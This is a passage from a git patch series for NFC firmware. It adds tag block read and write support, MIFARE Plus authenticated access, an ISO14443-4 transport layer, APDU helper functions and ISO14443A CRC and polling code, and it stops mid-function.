tag->iso15693.block_size = 4; + tag->block_size = tag->iso15693.block_size; + return HB_NFC_OK; + } + } + + return HB_NFC_ERR_NO_CARD; +} + +hb_nfc_err_t nfc_tag_get_uid(const nfc_tag_t* tag, uint8_t* uid, size_t* uid_len) +{ + if (!tag || !uid || !uid_len) return HB_NFC_ERR_PARAM; + if (tag->uid_len == 0) return HB_NFC_ERR_PROTOCOL; + memcpy(uid, tag->uid, tag->uid_len); + *uid_len = tag->uid_len; + return HB_NFC_OK; +} + +void nfc_tag_set_felica_service(nfc_tag_t* tag, uint16_t service_code) +{ + if (!tag) return; + tag->felica_service = service_code; +} + +hb_nfc_err_t nfc_tag_mfp_auth_first(nfc_tag_t* tag, + uint16_t block_addr, + const uint8_t key[16]) +{ + if (!tag || !key) return HB_NFC_ERR_PARAM; + if (tag->protocol != HB_PROTO_ISO14443_3A) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = mfp_poller_init(&tag->iso14443a, &tag->mfp); + if (err != HB_NFC_OK) return err; + + err = mfp_sl3_auth_first(&tag->mfp, block_addr, key); + if (err != HB_NFC_OK) return err; + + tag->type = NFC_TAG_TYPE_7; + tag->block_size = 16U; + return HB_NFC_OK; +} + +hb_nfc_err_t nfc_tag_mfp_auth_nonfirst(nfc_tag_t* tag, + uint16_t block_addr, + const uint8_t key[16]) +{ + if (!tag || !key) return HB_NFC_ERR_PARAM; + if (tag->type != NFC_TAG_TYPE_7) return HB_NFC_ERR_AUTH; + return mfp_sl3_auth_nonfirst(&tag->mfp, block_addr, key); +} + +static hb_nfc_err_t nfc_tag_mfp_read(nfc_tag_t* tag, + uint16_t block_addr, + uint8_t blocks, + uint8_t* out, + size_t out_max, + size_t* out_len) +{ + if (!tag || !out || !out_len) return HB_NFC_ERR_PARAM; + if (!tag->mfp.authenticated) return HB_NFC_ERR_AUTH; + if (blocks == 0) return HB_NFC_ERR_PARAM; + + size_t plain_len = (size_t)blocks * 16U; + if (plain_len > out_max) return HB_NFC_ERR_PARAM; + + uint8_t cmd[9] = { + 0x90, 0x30, 0x00, 0x00, 0x03, + (uint8_t)(block_addr >> 8), + (uint8_t)(block_addr & 0xFF), + blocks, + 0x00 + }; + + uint8_t resp[512]; + int rlen = mfp_apdu_transceive(&tag->mfp, cmd, sizeof(cmd), resp, sizeof(resp), 0); + if (rlen < 2) return HB_NFC_ERR_PROTOCOL; + uint16_t sw = (uint16_t)((resp[rlen - 2] << 8) | resp[rlen - 1]); + if (sw != 0x9100) return HB_NFC_ERR_PROTOCOL; + size_t data_len = (size_t)rlen - 2U; + + if (tag->sec_mode == NFC_TAG_SEC_PLAIN) { + if (data_len < plain_len) return HB_NFC_ERR_PROTOCOL; + memcpy(out, resp, plain_len); + *out_len = plain_len; + return HB_NFC_OK; + } + + if (data_len < plain_len + 8U) return HB_NFC_ERR_PROTOCOL; + uint8_t mac_rx[8]; + memcpy(mac_rx, resp + data_len - 8U, 8); + + if (tag->sec_mode == NFC_TAG_SEC_MAC) { + if (nfc_mac_verify(NFC_MAC_AES_CMAC_EV1_8, tag->mfp.ses_auth, 16, + resp, plain_len, mac_rx, 8) != 0) { + return HB_NFC_ERR_AUTH; + } + memcpy(out, resp, plain_len); + *out_len = plain_len; + return HB_NFC_OK; + } + + if (tag->sec_mode == NFC_TAG_SEC_FULL) { + uint8_t dec[512]; + size_t dec_len = mfp_sl3_decrypt(&tag->mfp, resp, plain_len, dec, sizeof(dec)); + if (dec_len < plain_len) return HB_NFC_ERR_PROTOCOL; + if (nfc_mac_verify(NFC_MAC_AES_CMAC_EV1_8, tag->mfp.ses_auth, 16, + dec, plain_len, mac_rx, 8) != 0) { + return HB_NFC_ERR_AUTH; + } + memcpy(out, dec, plain_len); + *out_len = plain_len; + return HB_NFC_OK; + } + + return HB_NFC_ERR_PARAM; +} + +static hb_nfc_err_t nfc_tag_mfp_write(nfc_tag_t* tag, + uint16_t block_addr, + const uint8_t* data, + size_t data_len) +{ + if (!tag || !data) return HB_NFC_ERR_PARAM; + if (!tag->mfp.authenticated) return HB_NFC_ERR_AUTH; + if (data_len == 0 || (data_len % 16U) != 0) return HB_NFC_ERR_PARAM; + + uint8_t payload[512]; + size_t payload_len = data_len; + + if (tag->sec_mode == NFC_TAG_SEC_FULL) { + payload_len = mfp_sl3_encrypt(&tag->mfp, data, data_len, payload, sizeof(payload)); + if (payload_len == 0) return HB_NFC_ERR_INTERNAL; + } else { + memcpy(payload, data, data_len); + } + + uint8_t mac[8]; + size_t mac_len = 0; + if (tag->sec_mode == NFC_TAG_SEC_MAC || tag->sec_mode == NFC_TAG_SEC_FULL) { + if (nfc_mac_compute(NFC_MAC_AES_CMAC_EV1_8, tag->mfp.ses_auth, 16, + data, data_len, mac, &mac_len) != 0) { + return HB_NFC_ERR_INTERNAL; + } + } + + size_t lc = 2U + payload_len + mac_len; + if (lc > 0xFFU) return HB_NFC_ERR_PARAM; + + uint8_t* cmd = (uint8_t*)malloc(5 + lc + 1U); + if (!cmd) return HB_NFC_ERR_INTERNAL; + + cmd[0] = 0x90; + cmd[1] = 0xA0; + cmd[2] = 0x00; + cmd[3] = 0x00; + cmd[4] = (uint8_t)lc; + cmd[5] = (uint8_t)(block_addr >> 8); + cmd[6] = (uint8_t)(block_addr & 0xFF); + memcpy(&cmd[7], payload, payload_len); + if (mac_len) memcpy(&cmd[7 + payload_len], mac, mac_len); + cmd[5 + lc] = 0x00; + + uint8_t resp[16]; + int rlen = mfp_apdu_transceive(&tag->mfp, cmd, 6 + lc, resp, sizeof(resp), 0); + free(cmd); + if (rlen < 2) return HB_NFC_ERR_PROTOCOL; + uint16_t sw = (uint16_t)((resp[rlen - 2] << 8) | resp[rlen - 1]); + return (sw == 0x9100) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t nfc_tag_read_block(nfc_tag_t* tag, + uint32_t block_num, + uint8_t* out, + size_t out_max, + size_t* out_len) +{ + if (!tag || !out || !out_len) return HB_NFC_ERR_PARAM; + + switch (tag->type) { + case NFC_TAG_TYPE_1: { + if (tag->t1t.is_topaz512) { + if (out_max < 8) return HB_NFC_ERR_PARAM; + hb_nfc_err_t err = t1t_read8(&tag->t1t, (uint8_t)block_num, out); + if (err != HB_NFC_OK) return err; + *out_len = 8; + return HB_NFC_OK; + } + if (out_max < 1) return HB_NFC_ERR_PARAM; + uint8_t b = 0; + hb_nfc_err_t err = t1t_read_byte(&tag->t1t, (uint8_t)block_num, &b); + if (err != HB_NFC_OK) return err; + out[0] = b; + *out_len = 1; + return HB_NFC_OK; + } + case NFC_TAG_TYPE_2: { + if (out_max < 4) return HB_NFC_ERR_PARAM; + uint8_t tmp[18] = { 0 }; + int len = mful_read_pages((uint8_t)block_num, tmp); + if (len < 16) return HB_NFC_ERR_PROTOCOL; + memcpy(out, tmp, 4); + *out_len = 4; + return HB_NFC_OK; + } + case NFC_TAG_TYPE_3: { + if (out_max < FELICA_BLOCK_SIZE) return HB_NFC_ERR_PARAM; + hb_nfc_err_t err = felica_read_blocks(&tag->felica, + tag->felica_service, + (uint8_t)block_num, 1, out); + if (err != HB_NFC_OK) return err; + *out_len = FELICA_BLOCK_SIZE; + return HB_NFC_OK; + } + case NFC_TAG_TYPE_4A: { + if (out_max < tag->block_size) return HB_NFC_ERR_PARAM; + hb_nfc_err_t err = nfc_tag_prepare_t4t(tag); + if (err != HB_NFC_OK) return err; + uint16_t offset = (uint16_t)(block_num * tag->block_size); + err = t4t_read_binary_ndef(&tag->dep, &tag->t4t_cc, offset, + out, tag->block_size); + if (err != HB_NFC_OK) return err; + *out_len = tag->block_size; + return HB_NFC_OK; + } + case NFC_TAG_TYPE_6: + case NFC_TAG_TYPE_V: { + return iso15693_read_single_block(&tag->iso15693, + (uint8_t)block_num, + out, out_max, out_len); + } + case NFC_TAG_TYPE_7: { + return nfc_tag_mfp_read(tag, (uint16_t)block_num, 1, + out, out_max, out_len); + } + default: + break; + } + return HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t nfc_tag_write_block(nfc_tag_t* tag, + uint32_t block_num, + const uint8_t* data, + size_t data_len) +{ + if (!tag || !data || data_len == 0) return HB_NFC_ERR_PARAM; + + switch (tag->type) { + case NFC_TAG_TYPE_1: + if (tag->t1t.is_topaz512) { + if (data_len != 8) return HB_NFC_ERR_PARAM; + return t1t_write_e8(&tag->t1t, (uint8_t)block_num, data); + } + if (data_len != 1) return HB_NFC_ERR_PARAM; + return t1t_write_e(&tag->t1t, (uint8_t)block_num, data[0]); + + case NFC_TAG_TYPE_2: + if (data_len != 4) return HB_NFC_ERR_PARAM; + return mful_write_page((uint8_t)block_num, data); + + case NFC_TAG_TYPE_3: + if (data_len != FELICA_BLOCK_SIZE) return HB_NFC_ERR_PARAM; + return felica_write_blocks(&tag->felica, tag->felica_service, + (uint8_t)block_num, 1, data); + + case NFC_TAG_TYPE_4A: { + hb_nfc_err_t err = nfc_tag_prepare_t4t(tag); + if (err != HB_NFC_OK) return err; + uint16_t offset = (uint16_t)(block_num * tag->block_size); + return t4t_update_binary_ndef(&tag->dep, &tag->t4t_cc, + offset, data, data_len); + } + + case NFC_TAG_TYPE_6: + case NFC_TAG_TYPE_V: + return iso15693_write_single_block(&tag->iso15693, + (uint8_t)block_num, + data, data_len); + + case NFC_TAG_TYPE_7: + return nfc_tag_mfp_write(tag, (uint16_t)block_num, data, data_len); + + default: + break; + } + return HB_NFC_ERR_PROTOCOL; +} + +#undef TAG From ef06dd380289db9264e45e4908e37b8d516567c4 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:07:56 -0300 Subject: [PATCH 24/61] feat(nfc): add ISO-DEP T=CL protocol layer --- .../nfc/protocols/common/include/nfc_tcl.h | 29 ++++++++++++++++++ .../nfc/protocols/common/nfc_tcl.c | 30 +++++++++++++++++++ 2 files changed, 59 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h new file mode 100644 index 00000000..acff6698 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tcl.h @@ -0,0 +1,29 @@ +/** + * @file nfc_tcl.h + * @brief ISO14443-4 (T=CL) transport wrapper for A/B. + */ +#ifndef NFC_TCL_H +#define NFC_TCL_H + +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +/** + * Generic ISO14443-4 transceive. + * + * @param proto HB_PROTO_ISO14443_4A or HB_PROTO_ISO14443_4B. + * @param ctx For A: pointer to nfc_iso_dep_data_t + * For B: pointer to nfc_iso14443b_data_t + * @return number of bytes received, 0 on failure. + */ +int nfc_tcl_transceive(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* tx, + size_t tx_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c new file mode 100644 index 00000000..83a2eb70 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tcl.c @@ -0,0 +1,30 @@ +/** + * @file nfc_tcl.c + * @brief ISO14443-4 (T=CL) transport wrapper for A/B. + */ +#include "nfc_tcl.h" + +#include "iso_dep.h" +#include "iso14443b.h" + +int nfc_tcl_transceive(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* tx, + size_t tx_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + if (!ctx || !tx || !rx || tx_len == 0) return 0; + + if (proto == HB_PROTO_ISO14443_4A) { + return iso_dep_transceive((const nfc_iso_dep_data_t*)ctx, + tx, tx_len, rx, rx_max, timeout_ms); + } + if (proto == HB_PROTO_ISO14443_4B) { + return iso14443b_tcl_transceive((const nfc_iso14443b_data_t*)ctx, + tx, tx_len, rx, rx_max, timeout_ms); + } + + return 0; +} From 774e3064d04a03dd863e5d4f9076ca746266665b Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:08:12 -0300 Subject: [PATCH 25/61] feat(nfc): add APDU command/response handling --- .../nfc/protocols/common/include/nfc_apdu.h | 98 +++++++ .../nfc/protocols/common/nfc_apdu.c | 272 ++++++++++++++++++ 2 files changed, 370 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h new file mode 100644 index 00000000..e4dd49dd --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_apdu.h @@ -0,0 +1,98 @@ +/** + * @file nfc_apdu.h + * @brief ISO/IEC 7816-4 APDU helpers over ISO14443-4 (T=CL). + */ +#ifndef NFC_APDU_H +#define NFC_APDU_H + +#include +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +/* Common SW values */ +#define APDU_SW_OK 0x9000U +#define APDU_SW_WRONG_LENGTH 0x6700U +#define APDU_SW_SECURITY 0x6982U +#define APDU_SW_AUTH_FAILED 0x6300U +#define APDU_SW_FILE_NOT_FOUND 0x6A82U +#define APDU_SW_INS_NOT_SUP 0x6D00U +#define APDU_SW_CLA_NOT_SUP 0x6E00U +#define APDU_SW_UNKNOWN 0x6F00U + +typedef struct { + uint8_t df_name[16]; + uint8_t df_name_len; +} nfc_fci_info_t; + +/** Translate SW to a human-readable string. */ +const char* nfc_apdu_sw_str(uint16_t sw); + +/** Map SW to a coarse error code. */ +hb_nfc_err_t nfc_apdu_sw_to_err(uint16_t sw); + +/** + * Generic APDU transceive over ISO14443-4A or 4B. + * + * @param proto HB_PROTO_ISO14443_4A or HB_PROTO_ISO14443_4B. + * @param ctx For A: nfc_iso_dep_data_t*; for B: nfc_iso14443b_data_t*. + * @return HB_NFC_OK on SW=0x9000, or mapped error otherwise. + */ +hb_nfc_err_t nfc_apdu_transceive(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw, + int timeout_ms); + +/* Convenience wrappers (same behavior as nfc_apdu_transceive). */ +hb_nfc_err_t nfc_apdu_send(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw, + int timeout_ms); + +hb_nfc_err_t nfc_apdu_recv(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw, + int timeout_ms); + +/* APDU builders (short APDUs). */ +size_t nfc_apdu_build_select_aid(uint8_t* out, size_t max, + const uint8_t* aid, size_t aid_len, + bool le_present, uint8_t le); + +size_t nfc_apdu_build_select_file(uint8_t* out, size_t max, + uint16_t fid, bool le_present, uint8_t le); + +size_t nfc_apdu_build_read_binary(uint8_t* out, size_t max, + uint16_t offset, uint8_t le); + +size_t nfc_apdu_build_update_binary(uint8_t* out, size_t max, + uint16_t offset, + const uint8_t* data, size_t data_len); + +size_t nfc_apdu_build_verify(uint8_t* out, size_t max, + uint8_t p1, uint8_t p2, + const uint8_t* data, size_t data_len); + +size_t nfc_apdu_build_get_data(uint8_t* out, size_t max, + uint8_t p1, uint8_t p2, uint8_t le); + +/** Parse FCI template and extract DF name (AID) if present. */ +bool nfc_apdu_parse_fci(const uint8_t* fci, size_t fci_len, nfc_fci_info_t* out); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c new file mode 100644 index 00000000..97c4032f --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_apdu.c @@ -0,0 +1,272 @@ +/** + * @file nfc_apdu.c + * @brief ISO/IEC 7816-4 APDU helpers over ISO14443-4 (T=CL). + */ +#include "nfc_apdu.h" + +#include +#include "nfc_tcl.h" + +#define APDU_MAX_BUF 300U + +const char* nfc_apdu_sw_str(uint16_t sw) +{ + switch (sw) { + case APDU_SW_OK: return "OK"; + case APDU_SW_WRONG_LENGTH: return "Wrong length"; + case APDU_SW_SECURITY: return "Security status not satisfied"; + case APDU_SW_AUTH_FAILED: return "Authentication failed"; + case APDU_SW_FILE_NOT_FOUND: return "File not found"; + case APDU_SW_INS_NOT_SUP: return "INS not supported"; + case APDU_SW_CLA_NOT_SUP: return "CLA not supported"; + case APDU_SW_UNKNOWN: return "Unknown error"; + default: return "SW error"; + } +} + +hb_nfc_err_t nfc_apdu_sw_to_err(uint16_t sw) +{ + if (sw == APDU_SW_OK) return HB_NFC_OK; + if (sw == APDU_SW_SECURITY || sw == APDU_SW_AUTH_FAILED) return HB_NFC_ERR_AUTH; + return HB_NFC_ERR_PROTOCOL; +} + +static int apdu_transceive_raw(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + return nfc_tcl_transceive(proto, ctx, apdu, apdu_len, rx, rx_max, timeout_ms); +} + +static int apdu_get_response(hb_nfc_protocol_t proto, + const void* ctx, + uint8_t le, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + uint8_t apdu[5] = { 0x00, 0xC0, 0x00, 0x00, le }; + return apdu_transceive_raw(proto, ctx, apdu, sizeof(apdu), rx, rx_max, timeout_ms); +} + +hb_nfc_err_t nfc_apdu_transceive(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw, + int timeout_ms) +{ + if (!ctx || !apdu || apdu_len == 0 || !out || out_max < 2U) return HB_NFC_ERR_PARAM; + + uint8_t cmd[APDU_MAX_BUF]; + if (apdu_len > sizeof(cmd)) return HB_NFC_ERR_PARAM; + memcpy(cmd, apdu, apdu_len); + + bool sw_in_buf = true; + + int len = apdu_transceive_raw(proto, ctx, cmd, apdu_len, out, out_max, timeout_ms); + if (len < 2) return HB_NFC_ERR_PROTOCOL; + + uint16_t status = (uint16_t)((out[len - 2] << 8) | out[len - 1]); + + /* 6Cxx: wrong length, retry with Le = SW2 */ + if (((status & 0xFF00U) == 0x6C00U) && apdu_len >= 5) { + cmd[apdu_len - 1] = (uint8_t)(status & 0x00FFU); + len = apdu_transceive_raw(proto, ctx, cmd, apdu_len, out, out_max, timeout_ms); + if (len < 2) return HB_NFC_ERR_PROTOCOL; + status = (uint16_t)((out[len - 2] << 8) | out[len - 1]); + } + + /* 61xx: GET RESPONSE chaining */ + if ((status & 0xFF00U) == 0x6100U) { + size_t out_pos = (size_t)(len - 2); + uint8_t le = (uint8_t)(status & 0xFFU); + if (le == 0) le = 0x00; /* 256 */ + + for (int i = 0; i < 8; i++) { + uint8_t tmp[APDU_MAX_BUF]; + int rlen = apdu_get_response(proto, ctx, le, tmp, sizeof(tmp), timeout_ms); + if (rlen < 2) break; + + uint16_t swr = (uint16_t)((tmp[rlen - 2] << 8) | tmp[rlen - 1]); + int data_len = rlen - 2; + if (data_len > 0) { + size_t copy = (out_pos + (size_t)data_len <= out_max) + ? (size_t)data_len + : (out_max > out_pos ? (out_max - out_pos) : 0); + if (copy > 0) { + memcpy(&out[out_pos], tmp, copy); + out_pos += copy; + } + } + + status = swr; + if ((status & 0xFF00U) != 0x6100U) break; + le = (uint8_t)(status & 0xFFU); + if (le == 0) le = 0x00; + } + + if (out_pos + 2 <= out_max) { + out[out_pos++] = (uint8_t)(status >> 8); + out[out_pos++] = (uint8_t)(status & 0xFFU); + sw_in_buf = true; + } else { + sw_in_buf = false; + } + len = (int)out_pos; + } + + if (sw) *sw = status; + if (out_len) *out_len = sw_in_buf ? (size_t)(len - 2) : (size_t)len; + return nfc_apdu_sw_to_err(status); +} + +hb_nfc_err_t nfc_apdu_send(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw, + int timeout_ms) +{ + return nfc_apdu_transceive(proto, ctx, apdu, apdu_len, + out, out_max, out_len, sw, timeout_ms); +} + +hb_nfc_err_t nfc_apdu_recv(hb_nfc_protocol_t proto, + const void* ctx, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* out, + size_t out_max, + size_t* out_len, + uint16_t* sw, + int timeout_ms) +{ + return nfc_apdu_transceive(proto, ctx, apdu, apdu_len, + out, out_max, out_len, sw, timeout_ms); +} + +size_t nfc_apdu_build_select_aid(uint8_t* out, size_t max, + const uint8_t* aid, size_t aid_len, + bool le_present, uint8_t le) +{ + if (!out || !aid || aid_len == 0) return 0; + if (max < 5U + aid_len + (le_present ? 1U : 0U)) return 0; + size_t pos = 0; + out[pos++] = 0x00; + out[pos++] = 0xA4; + out[pos++] = 0x04; + out[pos++] = 0x00; + out[pos++] = (uint8_t)aid_len; + memcpy(&out[pos], aid, aid_len); + pos += aid_len; + if (le_present) out[pos++] = le; + return pos; +} + +size_t nfc_apdu_build_select_file(uint8_t* out, size_t max, + uint16_t fid, bool le_present, uint8_t le) +{ + if (!out || max < (7U + (le_present ? 1U : 0U))) return 0; + size_t pos = 0; + out[pos++] = 0x00; + out[pos++] = 0xA4; + out[pos++] = 0x00; + out[pos++] = 0x0C; + out[pos++] = 0x02; + out[pos++] = (uint8_t)((fid >> 8) & 0xFFU); + out[pos++] = (uint8_t)(fid & 0xFFU); + if (le_present) out[pos++] = le; + return pos; +} + +size_t nfc_apdu_build_read_binary(uint8_t* out, size_t max, + uint16_t offset, uint8_t le) +{ + if (!out || max < 5U) return 0; + out[0] = 0x00; + out[1] = 0xB0; + out[2] = (uint8_t)((offset >> 8) & 0xFFU); + out[3] = (uint8_t)(offset & 0xFFU); + out[4] = le; + return 5U; +} + +size_t nfc_apdu_build_update_binary(uint8_t* out, size_t max, + uint16_t offset, + const uint8_t* data, size_t data_len) +{ + if (!out || !data || data_len == 0 || data_len > 0xFFU) return 0; + if (max < 5U + data_len) return 0; + size_t pos = 0; + out[pos++] = 0x00; + out[pos++] = 0xD6; + out[pos++] = (uint8_t)((offset >> 8) & 0xFFU); + out[pos++] = (uint8_t)(offset & 0xFFU); + out[pos++] = (uint8_t)data_len; + memcpy(&out[pos], data, data_len); + pos += data_len; + return pos; +} + +size_t nfc_apdu_build_verify(uint8_t* out, size_t max, + uint8_t p1, uint8_t p2, + const uint8_t* data, size_t data_len) +{ + if (!out || !data || data_len == 0 || data_len > 0xFFU) return 0; + if (max < 5U + data_len) return 0; + size_t pos = 0; + out[pos++] = 0x00; + out[pos++] = 0x20; + out[pos++] = p1; + out[pos++] = p2; + out[pos++] = (uint8_t)data_len; + memcpy(&out[pos], data, data_len); + pos += data_len; + return pos; +} + +size_t nfc_apdu_build_get_data(uint8_t* out, size_t max, + uint8_t p1, uint8_t p2, uint8_t le) +{ + if (!out || max < 5U) return 0; + out[0] = 0x00; + out[1] = 0xCA; + out[2] = p1; + out[3] = p2; + out[4] = le; + return 5U; +} + +bool nfc_apdu_parse_fci(const uint8_t* fci, size_t fci_len, nfc_fci_info_t* out) +{ + if (!fci || fci_len < 2U || !out) return false; + memset(out, 0, sizeof(*out)); + + size_t pos = 0; + while (pos + 2U <= fci_len) { + uint8_t tag = fci[pos++]; + uint8_t len = fci[pos++]; + if (pos + len > fci_len) break; + + if (tag == 0x84U) { + size_t copy = (len > sizeof(out->df_name)) ? sizeof(out->df_name) : len; + memcpy(out->df_name, &fci[pos], copy); + out->df_name_len = (uint8_t)copy; + return true; + } + + pos += len; + } + return false; +} From 8f4a9a1cb84ebb2ce05871d00807b5f69a78652b Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:08:41 -0300 Subject: [PATCH 26/61] feat(nfc): add ISO 14443-A framing and CRC --- .../protocols/iso14443a/include/iso14443a.h | 18 + .../nfc/protocols/iso14443a/iso14443a.c | 721 ++++++++++++++++++ 2 files changed, 739 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h new file mode 100644 index 00000000..a6c98870 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso14443a.h @@ -0,0 +1,18 @@ +/** + * @file iso14443a.h + * @brief ISO14443A types and CRC_A. + */ +#ifndef ISO14443A_H +#define ISO14443A_H + +#include +#include +#include "highboy_nfc_types.h" + +/** Calculate CRC_A. Initial value 0x6363. */ +void iso14443a_crc(const uint8_t* data, size_t len, uint8_t crc[2]); + +/** Verify CRC_A on received data (last 2 bytes are CRC). */ +bool iso14443a_check_crc(const uint8_t* data, size_t len); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c b/firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c new file mode 100644 index 00000000..5eafea5d --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/iso14443a.c @@ -0,0 +1,721 @@ + +/** + * @file iso14443a.c + * @brief ISO14443A CRC_A calculation. + */ +#include "iso14443a.h" + +void iso14443a_crc(const uint8_t* data, size_t len, uint8_t crc[2]) +{ + uint32_t wCrc = 0x6363; + for (size_t i = 0; i < len; i++) { + uint8_t bt = data[i]; + bt = (bt ^ (uint8_t)(wCrc & 0x00FF)); + bt = (bt ^ (bt << 4)); + wCrc = (wCrc >> 8) ^ + ((uint32_t)bt << 8) ^ + ((uint32_t)bt << 3) ^ + ((uint32_t)bt >> 4); + } + crc[0] = (uint8_t)(wCrc & 0xFF); + crc[1] = (uint8_t)((wCrc >> 8) & 0xFF); +} + +bool iso14443a_check_crc(const uint8_t* data, size_t len) +{ + if (len < 3) return false; + uint8_t crc[2]; + iso14443a_crc(data, len - 2, crc); + return (crc[0] == data[len - 2]) && (crc[1] == data[len - 1]); +} + +/** + * @file poller.c + * @brief ISO14443A Poller exact refactor of working code. + * + * Every function maps 1:1 to the working code. Comments show + * the original function name and the exact byte values used. + */ +#include "poller.h" +#include "iso14443a.h" +#include "nfc_poller.h" +#include "nfc_common.h" +#include "st25r3916_cmd.h" +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" +#include "hb_nfc_timer.h" +#include "esp_timer.h" +#include "nfc_rf.h" + +#include "esp_log.h" + +#define TAG TAG_14443A +static const char* TAG = "14443a"; + +/** + * Enable/disable anti-collision from working code st25r_set_antcl(): + * Read REG_ISO14443A, set or clear bit 0. + */ +static void set_antcl(bool enable) +{ + uint8_t v; + hb_spi_reg_read(REG_ISO14443A, &v); + if (enable) v |= ISO14443A_ANTCL; + else v &= (uint8_t)~ISO14443A_ANTCL; + hb_spi_reg_write(REG_ISO14443A, v); +} + +/** + * Internal REQA/WUPA from working code st25r_req_cmd(): + * 1. set_antcl(false) + * 2. CMD_CLEAR_FIFO + * 3. Direct command (CMD_TX_REQA or CMD_TX_WUPA) + * 4. Wait TXE (50us 400) + * 5. Wait FIFO 2 bytes, timeout 10ms + * 6. Read 2 bytes ATQA + */ +static int req_cmd(uint8_t cmd, uint8_t atqa[2]) +{ + set_antcl(false); + st25r_fifo_clear(); + hb_spi_direct_cmd(cmd); + + + if (!st25r_irq_wait_txe()) return 0; + + + uint16_t count = 0; + if (st25r_fifo_wait(2, 10, &count) < 2) { + st25r_irq_log((cmd == CMD_TX_REQA) ? "REQA fail" : "WUPA fail", count); + return 0; + } + st25r_fifo_read(atqa, 2); + return 2; +} + +int iso14443a_poller_reqa(uint8_t atqa[2]) +{ + return req_cmd(CMD_TX_REQA, atqa); +} + +int iso14443a_poller_wupa(uint8_t atqa[2]) +{ + return req_cmd(CMD_TX_WUPA, atqa); +} + +/** + * Activate from working code st25r_reqA_or_wupa(): + * Try REQA first. If no response, wait 5ms and try WUPA. + */ +hb_nfc_err_t iso14443a_poller_activate(uint8_t atqa[2]) +{ + if (req_cmd(CMD_TX_REQA, atqa) == 2) return HB_NFC_OK; + hb_delay_ms(5); + if (req_cmd(CMD_TX_WUPA, atqa) == 2) return HB_NFC_OK; + return HB_NFC_ERR_NO_CARD; +} + +/** + * Anti-collision from working code st25r_anticollision(): + * cmd = { sel, 0x20 } + * set_antcl(true) + * transceive(cmd, 2, no_crc, rx, 5, 5, 20ms) + * set_antcl(false) + * Retry up to 3 times with 5ms delay. + */ +int iso14443a_poller_anticoll(uint8_t sel, uint8_t uid_cl[5]) +{ + uint8_t cmd[2] = { sel, 0x20 }; + + for (int attempt = 0; attempt < 3; attempt++) { + set_antcl(true); + int len = nfc_poller_transceive(cmd, 2, false, uid_cl, 5, 5, 20); + set_antcl(false); + + if (len == 5) return 5; + hb_delay_ms(5); + } + return 0; +} + +/** + * SELECT from working code st25r_select(): + * cmd = { sel, 0x70, uid[0..4] } + * transceive(cmd, 7, with_crc, rx, 4, 1, 10ms) + * sak = rx[0] + */ +int iso14443a_poller_sel(uint8_t sel, const uint8_t uid_cl[5], uint8_t* sak) +{ + uint8_t cmd[7] = { + 